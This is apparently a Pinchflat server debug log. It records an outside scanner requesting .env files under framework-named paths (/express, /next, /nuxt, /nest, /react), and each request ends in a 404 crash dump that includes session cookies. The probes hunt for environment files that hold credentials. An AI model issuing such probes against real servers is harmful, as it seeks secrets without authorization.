"host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 128, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /express/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/express/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 128, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:17.911 [info] GET /next/.env 02:10:17.912 [debug] QUERY OK source="settings" db=0.5ms idle=192.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.912 [debug] QUERY OK source="settings" db=0.2ms idle=126.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.913 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.913 [error] #PID<0.3433.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 129) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /next/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /next/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/next/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 129, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3433.0>, params: %{}, path_info: ["next", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/next/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6rujLESV7TUAASAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/next/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 129, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /next/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/next/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 129, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:17.966 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:18.005 [info] GET /nuxt/.env 02:10:18.006 [debug] QUERY OK source="settings" db=0.1ms idle=162.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.006 [debug] QUERY OK source="settings" db=0.0ms idle=94.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.006 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.006 [error] #PID<0.3434.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 130) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /nuxt/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /nuxt/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nuxt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 130, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3434.0>, params: %{}, path_info: ["nuxt", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/nuxt/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6sFEeihFVIAAASBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nuxt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 130, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /nuxt/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nuxt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 130, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.064 [info] GET /nest/.env 02:10:18.065 [debug] QUERY OK source="settings" db=0.2ms idle=152.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.065 [debug] QUERY OK source="settings" db=0.1ms idle=112.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.065 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.065 [error] #PID<0.3435.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 131) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /nest/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /nest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 131, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3435.0>, params: %{}, path_info: ["nest", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/nest/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6sTI0Uvv7a8AASCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 131, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /nest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/nest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 131, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.120 [info] GET /react/.env 02:10:18.121 [debug] QUERY OK source="settings" db=0.1ms idle=154.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.121 [debug] QUERY OK source="settings" db=0.0ms idle=115.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.121 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.121 [error] #PID<0.3436.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 132) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET 